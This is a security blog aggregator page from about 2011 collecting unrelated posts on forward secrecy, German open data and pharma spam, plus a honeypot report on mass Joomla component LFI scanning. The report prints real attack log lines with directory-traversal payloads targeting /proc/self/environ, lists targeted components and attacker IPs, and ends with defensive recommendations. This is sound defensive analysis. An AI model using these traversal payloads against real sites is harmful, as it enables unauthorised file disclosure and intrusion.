After December 1, we will remove all data from the version 1 API list to ensure that any remaining clients do not have false positives in their database. After January 1, 2012, we will turn off the version 1 service completely, and all requests will return a 404 error.

Thanks for your cooperation, and enjoy using the next generation of Safe Browsing.
Protecting data for the long term with forward secrecy

Posted: November 22nd, 2011, 4:35am CST by Jay

Tags: [edit]

Posted by Adam Langley, Security Team

Last year we introduced HTTPS by default for Gmail and encrypted search. We’re pleased to see that other major communications sites are following suit and deploying HTTPS in one form or another. We are now pushing forward by enabling forward secrecy by default.

Most major sites supporting HTTPS operate in a non-forward secret fashion, which runs the risk of retrospective decryption. In other words, an encrypted, unreadable email could be recorded while being delivered to your computer today. In ten years time, when computers are much faster, an adversary could break the server private key and retrospectively decrypt today’s email traffic.

Forward secrecy requires that the private keys for a connection are not kept in persistent storage. An adversary that breaks a single key will no longer be able to decrypt months’ worth of connections; in fact, not even the server operator will be able to retroactively decrypt HTTPS sessions.

Forward secret HTTPS is now live for Gmail and many other Google HTTPS services(*), like SSL Search, Docs and Google+. We have also released the work that we did on the open source OpenSSL library that made this possible. You can check whether you have forward secret connections in Chrome by clicking on the green padlock in the address bar of HTTPS sites. Google’s forward secret connections will have a key exchange mechanism of ECDHE_RSA.

We would very much like to see forward secrecy become the norm and hope that our deployment serves as a demonstration of the practicality of that vision.

(* Chrome, Firefox (all platforms) and Internet Explorer (Vista or later) support forward secrecy using elliptic curve Diffie-Hellman. Initially, only Chrome and Firefox will use it by default with Google services because IE doesn’t support the combination of ECDHE and RC4. We hope to support IE in the future.)

The Turkey Curse

Zur Kritik an Apps4DE von Lorenz Matzat

Posted: November 19th, 2011, 6:45am CST by fukami

Tags: apps4de open Data odn [edit]

Lorenz hat vor ein paar Tagen drüben beim Freitag eine sehr fundamentale Kritik am Wettbewerb Apps4Deutschland geäussert, auf die ich gerne eingehen würde.

Lorenz’ Kritik ist aus meiner Sicht an einigen Stellen sehr treffend. So mahnt er eine langfristige Förderstrategie an, die tatsächlich mehr als überfällig ist. Und auch dem Punkt, dass es bei dem Wettbewerb nicht auf Nachhaltigkeit der Projekte wert gelegt wird, kann ich auch nur voll und ganz zustimmen. Was Lorenz nicht erwähnt, hat denn auch eher damit zu tun, dass er die Realität der deutschen Verwaltung etwas aus dem Blick verliert und das Ziel, dort für Veränderung zu sorgen.

Wer sich in dem Umfeld umtut und viel mit Verwaltung auf allen Ebenen zu tun hat, stellt schnell fest, dass die Mehrheit der Akteure durchaus bemüht ist. Nun ist aber die Aufgabe der Verwaltung … das Verwalten. Das heisst, sie hat in erster Linie Aufgaben im Rahmen des Gemeinwohls zu erfüllen und darf nicht selbst politisch tätig werden. Ein nachgeordneter Mitarbeiter wird einen Teufel tun, sich über Anweisungen und aktuelle Rechtsvorschriften hinweg zu setzen, auch wenn er vielleicht prinzipiell keine Probleme hätte, offene Daten aus seinem Bereich bereit zu stellen. Und selbst wenn es die Bereitschaft einzelner Führungsebenen gibt, sich des Themas ernsthaft anzunehmen, so muss an vielen Stellen ein Kulturwandel stattfinden, der sich leider nur schwer von oben verordnen lässt.

Auf der anderen Seiten haben wir es in Deutschland mit einer Verwaltungslandschaft zu tun, deren schnöde Zahlen einem einen gewissen Respekt abnötigt. Und anders als in den USA hat der Organisationsgrad deutscher Verwaltungen eine vollkommen andere Dimensionen. So gibt es ca. 11.000 Gemeinden, dazu unzählige Ministerien und andere Behörden auf Bundes- und Landesebene, mit IT-Landschaften, die unterschiedlicher kaum sein könnten. Dazu gibt es Rechts- und Verwaltungsvorschriften, die alles andere als harmonisch zueinander sind. Will man hier ansetzen will, geht es um die sprichwörtlichen dicken Bretter. Open Data verlangt andere Prozesse und Vorschriften als jetzt existieren. Damit ist der Ball also tatsächlich im Feld des BMI und der Innenministerien der Länder.

In einer idealen Welt würde man wohl erwarten, dass dann dort ein Plan gemacht wird, wie Open Data genau zu funktionieren hat. Es gäbe Standards, die im besten Falle mindestens auf EU-Ebene abgesprochen wären und eine Ausstattung der Handelnden, die die Umsetzung ermöglicht. Wir leben aber in keiner idealen Welt. Es ist also nötig, trotz der Probleme gangbare Wege zu beschreiten. Doch wie können diese Weg aussehen?

Als die Bundesregierung auf dem IT-Gipfel in Dresden einen Weg in eine Open Data-Strategie vorstellte, waren viele Leute skeptisch - und zwar vollkommen zurecht. Es wurde eine Person bestellt, die mit einem Mitarbeiter das Thema zwei Jahre lang bearbeiten soll und am Ende einen Weg aufzeigen, wie das alles funktionieren kann. Mittlerweile ist dort mehr Realismus eingekehrt, und am Ende wird wohl vor allem erst einmal ein Datenkatalog stehen. Echte Strategien sehen anders aus, auch wenn ich persönlich froh bin, dass es diesen Realismus mittlerweile gibt. Grund dafür ist vermutlich nicht zuletzt, dass es eine Menge von Problemen gibt, die sich nicht sofort erschliessen, vor allem nicht, wenn man kein ITler ist und sich mit dem Thema nur am Rande beschäftigt hat. Es hilft aber nichts, darüber zu sinieren und zu warten, bis es die Lösung(TM) gibt, sondern es müssen wohl etwas kleinere Brötchen gebacken werden.

App-Wettbewerbe sind ein Beispiel für diese kleineren Brötchen. Nach dem, was ich konkret aus der einen oder anderen Verwaltung mitbekommen habe, ist das eine der Möglichkeiten, intern das Thema zu adressieren, verwaltungsinterne Prozesse entsprechend anzupassen und überhaupt mal zu gucken, welche Daten sich ohne übermäßigen Aufwand bereitstellen (heissst: bezogen auf Änderung von Prozessen und Vorschriften) und langfristig aktualisieren lassen. Auch wenn dies vielen Open Data-Aktivisten nicht weit genug geht, ist das ein Schritt, der ohnehin nötig ist. Wenn in dem Kontext ein Wettbewerb helfen kann, finde ich das eher gut als schlecht, aber das entbindet die Innenministerien natürlich trotzdem nicht von ihrer Pflicht für eine langfristige Strategie. Aber wer sich mit komplexen IT-Projekten beschäftigt, der wird sich leicht vorstellen können, dass eine reelle Chance besteht, in wirklich großem Maßstab zu verpeilen und sich von Lobbyisten aus der Verwaltungssoftware-Industrie das Blaue vom Himmel versprechen zu lassen.

Bleiben noch die Initiativen, die sich auf kommunaler und Landesebene ganz losgelöst mit Open Data beschäftigen. In vielen mir bekannten Fällen wird einfach mal ausprobiert, was geht und wo es Grenzen und rechtliche Graubereiche gibt, teilweise mit sehenswerten Ergebnissen. So und nicht anders müssen letztendlich die Erfahrungen gemacht werden, die nötig sind, und zwar von allen Seiten - sei es in der Verwaltung, der Politik, den Aktivisten aber auch z.B. den Journalisten. Und hier muss auch die Möglichkeit geschaffen werden, dass Fehler gemacht werden können, ohne dass es gleich finanziellen Druck gibt und die Dinge einfach funktionieren müssen. Ausserdem muss ein gewisser Bedarf konkret aus der Community kommen, also Leuten, die am Ende Code bereitstellen und nicht nur darüber reden. So richtig weit voran bringen können das Thema vor allem Crowdsourcing-Projekte, die im allerbesten Fall dafür sorgen, dass die Verwaltung auch einen Nutzen sieht und somit der nötige Kulturwechsel beschleunigt wird. Und hier setzt aus meiner Sicht die Forderung nach Förderung am Stärksten an: Ich sähe es gerne, wenn z.B. schon in Schulen darüber diskutiert wird - sei es durch Darstellung von Umweltmeßdaten auf Maps oder anderen Anwendungen, die Schülern zeigen, was es für Möglichkeiten gibt, selbst Hand an Daten und Visualisierung zu legen (was ich übrigens auch als ein mögliches, schönes Projekt für “Chaos macht Schule” sehe).

Meine Befürchtung ist aber, dass Verwaltungen sich wieder Software andrehen lassen, die genau nur den Teil der Aufgaben erfüllt für die sie angeschafft wird und dann für weitere Anforderungen immer weitere Gelder fliessen müssen. Wenn also mit halbgewalkten und nur wenig weit gedachten Konzepten jetzt angefangen wird, Open Data-Prinzipien auf breiter Ebene zu beachten und entsprechend in Software zu giessen, so wird es früher oder später zu großen Problemen führen - spätestens genau dann, wenn die nächste Verwaltungsreform zur Modernisierung ansteht oder sich gesetzliche Vorgaben endlich mal festigen sollten. Es ist also nicht zuletzt im Hinblick auf die Haushalte der Kommunen angeraten, hier etwas vorsichtiger zu sein und sich imbesten Falle Projekte zu suchen, für die es in der Öffentlichkeit Partner gibt.

Ich möchte noch mal deutlich machen, dass ich den Wettbewerb in dem Kontext gut und richtig finde. Ich stelle fest, dass viel mehr passiert, als ich vorher erwartet habe und schon einige sehr interessante Daten und Projekte sehe, die für einiges Erstaunen und auch Schmunzeln sorgen könnten - und das mit einem Finanzrahmen, der niemandem wehtut.
Tags: apps4de, open data, odn, open government data

SecuriTeam Blogs

All that, and it was just pharma spam?

Posted: November 18th, 2011, 11:42am CST by p1

Tags: Commentary [edit]

Got a message yesterday. It was immediately suspect, since it purportedly came from YouTube, and was threatening that I had sent “the maximum number of messages per day.” It was also sent to the “-owner” of a mailing list I run on Yahoo. Of course, I don’t send email through YouTube.

However, since I do have a YouTube account, and just in case there was a mail capability I didn’t know about, I figured I’d better check it out. Sending through Yahoo is a good form of obfuscation. I did, eventually, figure out that it came via ThePlanet in Houston (probably a bot infected machine).

I then suspected that it might be some kind of account phishing. However, when I actually looked at the URL, and checked it out, it seems to have been a simple pharma spam (bounced from a site in France to one in Russia).

All that trouble and obfuscation, just to post pharma spam? Sophisticated misdirection kits are obviously getting cheaper and easier for the script kiddie level spammers to buy.

-

Let the experts make sure your website is safe. Vulnerability Assessment is the answer.

Tactical Web Application Security

Mass Joomla Component LFI Attacks Identified

Posted: November 18th, 2011, 10:46am CST

Joomla has hundreds of Controller components. Check out the Joomla Extension site for examples. Unfortunately, the vast majority of these components have LFI vulnerabilities. The vulnerability details are pretty much the same -

The vulnerable page is "index.php".
The "option" parameter is set to "com_xxxxxx" where xxxx is the vulnerable component name.
Input passed via the "controller" parameter is not properly verified before being used to include files.
By appending URL-encoded NULL bytes, an attacker can specify any arbitrary local file.

Here is an example OSVDB Search Query for a listing of these vulnerabilities.

Honeypot Attack Probes Identified

Our daily honeypot analysis has identified a mass scanning campaign aimed at various Joomla Component Local File Inclusion (LFI) Vulnerabilities. Here are a few example attacks taken from today's honeypot logs:

109.75.169.20 - - [17/Nov/2011:17:48:15 +0900] "GET /index.php?option=com_bca-rss-syndicator&controller=../../../../../../../../../../../../../../../../../../../../../../../..//proc/self/environ00 HTTP/1.1" 404 224
174.122.220.10 - - [17/Nov/2011:00:21:32 +0100] "GET /index.php?option=com_ckforms&controller=../../../../../../../../../../../../..//proc/self/environ00 HTTP/1.1" 404 304 "-" "Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; PPC; 240x320)"
72.47.211.229 - - [17/Nov/2011:10:14:27 +0900] "GET /index.php?option=com_cvmaker&controller=../../../../../../../../../../../../..//proc/self/environ00 HTTP/1.1" 404 216
180.235.131.131 - - [17/Nov/2011:01:34:54 +0900] "GET /index.php?option=com_datafeeds&controller=../../../../../../../../../../../../..//proc/self/environ00 HTTP/1.1" 404 222

Notice that various components are targeted in the "option" parameter and that the a directory traversal attack is used in the "controller" parameter. The LFI data is attempting to enumerate the OS shell environment data.

Attack Statistics

Number of attacks seen: 1538
Number of unique attack sources: 45

Top 25 Joomla Component LFI Attacker Sources

# of Attacks	IP Address	Country Code	Country Name	Region	Region Name	City
491	180.235.131.131	AU	Australia
95	210.173.154.35	JP	Japan
86	74.50.25.165	US	United States	CA	California	Anaheim
80	91.121.87.48	FR	France
67	69.27.109.40	CA	Canada	SK	Saskatchewan	Saskatoon
58	46.105.98.146	FR	France
58	180.151.1.68	IN	India	07	Delhi	New Delhi
51	67.23.229.237	US	United States	NY	New York	New York
42	64.92.125.26	US	United States	CO	Colorado	Denver
42	182.255.0.200	ID	Indonesia
39	82.192.87.86	NL	Netherlands	07	Noord-Holland	Amsterdam
38	174.122.220.10	US	United States	TX	Texas	Houston
37	178.162.231.59	CA	Canada
36	72.47.211.229	US	United States	CA	California	Culver City
33	122.201.80.95	AU	Australia	02	New South Wales	Sydney
32	174.37.16.78	US	United States	TX	Texas	Dallas
31	64.13.224.234	US	United States	CA	California	Culver City
27	109.75.169.20	GB	United Kingdom
25	65.98.23.170	US	United States	CA	California	San Francisco
25	46.20.45.50	DE	Germany
24	193.106.93.131	RU	Russian Federation
16	85.36.63.35	IT	Italy
11	71.17.4.161	CA	Canada	SK	Saskatchewan	Lloydminster
10	50.73.66.4	US	United States
9	173.245.78.42	US	United States	CA	California	Fremont
8	92.60.124.128	ES	Spain

Joomla Components Targeted

Here is a listing of the various Joomla components that were targeted in today's attacks:

com_bca-rss-syndicator
com_ccnewsletter
com_ckforms
com_cvmaker
com_datafeeds
com_dioneformwizard
com_dwgraphs
com_fabrik
com_gadgetfactory
com_ganalytics
com_gcalendar
com_hsconfig
com_if_surfalert
com_janews
com_jfeedback
com_joomlapicasa2
com_joomlaupdater
com_joommail
com_jshopping
com_juliaportfolio
com_jvehicles
com_jwhmcs
com_linkr
com_mediqna
com_mmsblog
com_mscomment
com_mtfireeagle
com_ninjarsssyndicator
com_onlineexam
com_orgchart
com_pcchess
com_properties
com_rokdownloads
com_rpx
com_s5clanroster
com_sbsfile
com_sectionex
com_shoutbox
com_simpledownload
com_smestorage
com_spsnewsletter
com_svmap
com_sweetykeeper
com_userstatus
com_webeecomment
com_weberpcustomer
com_zimbcomment

Recommendations

If you are running Joomla applications, you should ensure that you are keeping up-to-date on patches and updates.

OWASP Joomla Vulnerability Scanner

OWASP has an open source Joomla Vulnerability Scanner Project that you should check out and run against your site.

OWASP ModSecurity Core Rule Set

The OWASP ModSecurity CRS includes generic directory traversal attack detections which should provide base level protections.

Commercial ModSecurity Rules From Trustwave

We have numerous virtual patches for Joomla applications including these Controller parameter LFI attacks in our commercial rules feed.

← General Security →

My Security Planet » WebSecurity

Feeds

WebSecurity

Posted: February 2nd, 2012, 6:29am CST by Jay

Tags: [edit]

Posted: February 1st, 2012, 4:04pm CST by p1

Tags: Commentary [edit]

Posted: January 31st, 2012, 3:38pm CST by p1

Tags: Commentary [edit]

Posted: January 31st, 2012, 1:29pm CST by p1

Tags: Commentary [edit]

Posted: January 29th, 2012, 3:00pm CST by Jay

Tags: [edit]

Posted: January 26th, 2012, 3:49pm CST by vanderaj

Tags: Rants [edit]

Posted: January 23rd, 2012, 1:59pm CST

Tags: [edit]

Posted: January 23rd, 2012, 12:52pm CST by Jeremiah Grossman

Tags: [edit]

Posted: January 19th, 2012, 6:18pm CST by p1

Tags: Gadgets [edit]

Posted: January 19th, 2012, 3:27am CST by Adi Cohen

Tags: [edit]

Posted: January 18th, 2012, 2:54am CST by Jeremiah Grossman

Tags: [edit]

Posted: January 17th, 2012, 6:07pm CST by p1

Tags: Commentary [edit]

Posted: January 16th, 2012, 4:37pm CST by Jay

Tags: [edit]

Posted: January 15th, 2012, 5:36am CST by Ory Segal

Tags: Info Bits [edit]

Posted: January 14th, 2012, 1:31pm CST by eyalestrin

Tags: Commentary [edit]

Posted: January 12th, 2012, 11:38pm CST by p1

Tags: Gadgets [edit]

Posted: January 9th, 2012, 11:23am CST by Aviram

Tags: Web [edit]

Posted: January 8th, 2012, 1:11am CST by Robert A.

Tags: Books [edit]

Posted: January 7th, 2012, 8:47pm CST by p1

Tags: Gadgets [edit]

Posted: January 6th, 2012, 9:17pm CST by p1

Tags: Gadgets [edit]

Posted: January 4th, 2012, 10:54pm CST by p1

Tags: Commentary [edit]

Posted: January 4th, 2012, 1:25pm CST by p1

Tags: Commentary [edit]

Posted: January 3rd, 2012, 6:04pm CST by p1

Tags: Gadgets [edit]

Posted: January 2nd, 2012, 11:00pm CST by Ed Finkler

Tags: [edit]

Posted: January 2nd, 2012, 10:00pm CST by Aviram

Tags: Web [edit]

Posted: December 31st, 2011, 1:59pm CST by p1

Tags: Gadgets [edit]

Posted: December 31st, 2011, 12:58am CST by p1

Tags: Gadgets [edit]

Posted: December 30th, 2011, 8:01pm CST by p1

Tags: Gadgets [edit]

Posted: December 30th, 2011, 5:48am CST by vanderaj

Tags: Rants [edit]

Posted: December 29th, 2011, 1:42pm CST

Tags: [edit]

Posted: December 29th, 2011, 7:42am CST by Jeremiah Grossman

Tags: [edit]

Posted: December 27th, 2011, 6:20am CST by Aviram

Tags: Full Disclosure [edit]

Posted: December 22nd, 2011, 4:24pm CST by p1

Tags: Commentary [edit]

Posted: December 22nd, 2011, 9:15am CST

Tags: Miscellaneous [edit]

Posted: December 21st, 2011, 10:48am CST by Gareth Heyes

Tags: Security [edit]

Posted: December 20th, 2011, 7:22pm CST by xssniper

Tags: Lies [edit]

Posted: December 20th, 2011, 1:51pm CST by p1

Tags: Commentary [edit]

Posted: December 16th, 2011, 3:06pm CST by sirdarckcat

Tags: Disclosure [edit]

Posted: December 15th, 2011, 8:38am CST by vanderaj